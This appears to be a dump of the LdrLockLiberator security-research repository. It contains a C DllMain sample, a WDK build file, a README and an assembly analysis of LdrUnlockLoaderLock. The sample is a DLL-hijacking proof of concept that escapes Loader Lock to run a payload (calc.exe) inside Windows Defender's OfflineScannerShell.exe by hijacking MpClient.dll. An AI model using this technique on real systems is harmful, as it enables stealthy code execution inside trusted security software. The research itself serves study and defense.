//EXTERN_C __declspec(dllimport) int __cdecl _onexit(void (__cdecl*)(void));
VOID payload(VOID) {
// Unlock CRT critical section: msvcrt!CrtLock_Exit
// This is necessary because ShellExecute calls atexit
// Doing this is 100% safe (see main project C file for details)
_unlock(8);
ShellExecute(NULL, L"open", L"calc.exe", NULL, NULL, SW_SHOW);
// Ensure program doesn't terminate before ShellExecute completes (see main project C file for further explanation and the correct way way of doing this)
Sleep(3000);
}
//int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow) // EXE
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvReserved) // DLL
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// Use "_onexit" for C++
atexit(payload);
// The original MSVCRT has no concept of "quick exit" (no quick_exit() function) so no at_quick_exit() is necessary here
}
return TRUE;
}
+46
View File
@@ -0,0 +1,46 @@
TARGETNAME=LdrLockLiberatorWDK
# EXE = PROGRAM
# DLL = DYNLINK
TARGETTYPE=DYNLINK
TARGETLIBS=$(SDK_LIB_PATH)\kernel32.lib \
$(SDK_LIB_PATH)\shell32.lib
# Linking with shell32.lib implicitly links in many other libraries, remove it for a more minimal process runtime
# We only need it for ShellExecute
# Recommended warning level (highest before /Wall)
MSC_WARNING_LEVEL=/W4
# Disable error on warning (enabled by default)
# According to "makefile.new" (a file I found by grepping WDK for the "WX" string), defining "BUILD_ALLOW_ALL_WARNINGS" should do this for both build stages but for some reason it doesn't work)
COMPILER_WX_SWITCH=
LINKER_WX_SWITCH=
C_DEFINES=/DUNICODE /D_UNICODE
# Use cdecl instead of stdcall by default (as done by modern versions of Visual Studio)
# MSC_STDCALL or cpu_STDCALL should do this for all architectures but for some reason it doesn't work
386_STDCALL=0
amd64_STDCALL=0
# Compiler (cl.exe) flags
# Disable pointless "unreferenced formal parameter" /w4 warning
USER_C_FLAGS=/wd4100
# Linker (link.exe) flags
LINKER_FLAGS=
# EXE
UMTYPE=windows
UMENTRY=wwinmain
# DLL
DLLENTRY=DllMain
# Specify exports with __declspec(dllexport) instead of in a .def file
DLLDEF=
# The original C:\Windows\System32\msvcrt.dll
USE_MSVCRT=1
# The C standard that comes with this WDK version is very old: C89 (very broken in terms of compliance)
# For further development, I recommned switching to C++ (change this to a .cpp/.cc file)
SOURCES=LdrLockLiberator.c
+70
View File
@@ -0,0 +1,70 @@
<div align="center">
<a href="https://github.com/ElliotKillick/LdrLockLiberator">
<img width="160" src="logo.webp" alt="Logo" />
</a>
</div>
<h2 align="center">
LdrLockLiberator
</h2>
<p align="center">
For when <b>DLLMain</b> is the only way
</p>
LdrLockLiberator is a collection of techniques for escaping or otherwise forgoing Loader Lock while executing your code from `DllMain` or anywhere else the lock may be present. It was released in conjuction with the ["Perfect DLL Hijacking"](https://elliotonsecurity.com/perfect-dll-hijacking) article. We give you the <b>key</b> to unlock the library loader and do what you want with your loader (on your own computer)!
The techniques are intended to be **universal, clean, and 100% safe** where possible. They're designed to work without modifying memory protection or pointers. This is important for staying compatible with modern exploit mitigations.
## Techniques
### LdrFullUnlock
It's exactly what it sounds like. Unlock Loader Lock, set loader events, and flip `LdrpWorkInProgress`. It's recommended to keep `RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN` undefined for the best stability.
**DO NOT USE THIS TECHNIQUE IN PROUDCTION CODE.** This was created as a byproduct of my shear curiosity and will to leave no stone unturned. Anything you do with this code is on you.
### Escaping at the Exit
We use the CRT `atexit` typically used by EXEs in our DLL code to escape Loader Lock when the program exits. For dynamic loads, this is made <b>100% safe</b> by pinning (`LDR_ADDREF_DLL_PIN`) our library using `LdrAddRefDll` so a following `FreeLibrary` won't remove our DLL from memory.
### Using Locks to Our Advantage
Coming soon!
## Samples
The provided samples hijack `MpClient.dll` from `C:\Program Files\Windows Defender\Offline\OfflineScannerShell.exe`. Instructions are provided in the source code comments to easily adapt this for any other DLL and program pairing (primarily just updating the exports for static loads)!
As a proof of concept, we run `ShellExecute` as the default payload. You can make this anything you want!
## Compilation
### Visual Studio
The `LdrLockLiberator.c` at the root of this project has been tested to compile on Visual Studio 2022.
### WDK
#### Installing the Correct WDK
1. Go to the [WDK download page](https://learn.microsoft.com/en-us/windows-hardware/drivers/other-wdk-downloads#step-2-install-the-wdk)
2. Click on the Windows 7 [WDK 7.1.0](https://www.microsoft.com/en-us/download/confirmation.aspx?id=11800) link to start download the correct WDK version
- This is the last WDK that **officially** supports linking to the original MSVCRT (`C:\Windows\System32\msvcrt.dll`)
- SHA-256 sum: `5edc723b50ea28a070cad361dd0927df402b7a861a036bbcf11d27ebba77657d`
3. Mount the downloaded ISO then run `KitSetup.exe`
4. Click through the installation process using the default options
#### Compiling
1. In the Start menu, search for "x64 Free Build Environment" then open it
2. Navigate (using `cd`) to `LdrLockLiberatorWDK` in this repo
3. Run `build`
Done! Your DLL is built and ready for use!
As an alternative to WDK, cross-compiling with MinGW would also probably work.
## License
MIT License - Copyright (C) 2023 Elliot Killick <contact@elliotkillick.com>
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 55 KiB

+79
View File
@@ -0,0 +1,79 @@
# Broken LdrUnlockLoaderLock
This is the analysis and following proofs that a developer at Microsoft intentionally broke the LdrUnlockLoaderLock NTDLL export.
## Analysis
Here's the the `Cookie` validation code in `LdrUnlockLoaderLock`:
```asm
mov rax, 1000000000000000h
; If Cookie >= 0x1000000000000000 (that's 16 hex digits) then error
; jae = Jump if greater than or equal to
cmp rdx, rax
jae ntdll!LdrUnlockLoaderLock+0x49370 (7ff94e0d7330) ; Jump to error-handling code
mov rax, qword ptr gs:[30h] ; Get Thread Environment Block (TEB) address
shr rdx, 30h ; Shift cookie value right logical 0x30
; For example, 0xffffffffffffffff (16 digits) >> 0x30 = 0xffff
mov eax, dword ptr [rax+48h] ; Get current thread ID from TEB
; ID is a DWORD in size (32-bits; or 8 hex digits)
; Usually though, an ID is at most 4 hex digits (2 bytes)
; Although, it could have a leading zero effectively making it less
; If Cookie ^ (xor) threadId != 0xfff then error
; jne = Jump if not equal
xor rdx, rax
test rdx, 0FFFh
jne ntdll!LdrUnlockLoaderLock+0x49370 (7ff94e0d7330) ; Jump to error-handling code
```
Based on this analysis, it's impossible to provide a 4 hex digit thread ID as the `LdrUnlockLoaderLock` `Cookie` because the `cmp` check will error if the value we send in is 16 hex digits. However, the `Cookie` needs that many hex digits so the `shr` keeps at least 4 hex digits for the following XOR condtion against the thread ID. To pass the XOR condition, we need our 4 digit thread ID to be `xor`'d by another 4 hex digit value which could only then possibly be equal to `0x0fff`.
## Python Bruteforcer Proof
To be 100% sure, I proved this with a simple Python bruteforcer script:
```python
cookie = 0x0
while True:
# Example thread ID is 0x29b0 (real thread ID I got)
if cookie ^ 0x29b0 == 0xfff:
print(hex(cookie))
cookie += 1
```
Output: `0x264f`
So, 0x264f ^ 0x29b0 = 0xfff.
But, it's impossible to make a Cookie the size of `0x264f` without jumping to error code early for being too big or later because too much get's shifted off then causing the `xor` to not equal `0xfff`.
The only way possible for `LdrUnlockLoaderLock` to unlock loader lock is if the thread ID happens to be generated with a leading zero (e.g. 0a85) because then our cookie is effectively only 3 hex digits. This would allow us to fulfill both conditions: Be lower than the max value in the `cmp` check **and** keep enough hex digits so we can survive the shift right to pass the following `xor` check.
## Simple Proof
As a simple proof, the max cookie value we can provide without triggering the jump into error-handling code is:
```
0x0fffffffffffffff
```
This is because it's one less than:
```
0x1000000000000000
```
Shifting the max cookie value we can provide to the right 0x30 gives us a `Cookie` value of:
- In Python: hex(0x0fffffffffffffff >> 0x30)
```
0xfff
```
There you have it, our `Cookie` only has 3 controllable hex digits. Therefore, it's impossible to pass the XOR check that proceeds for a 4 hex digit thread ID.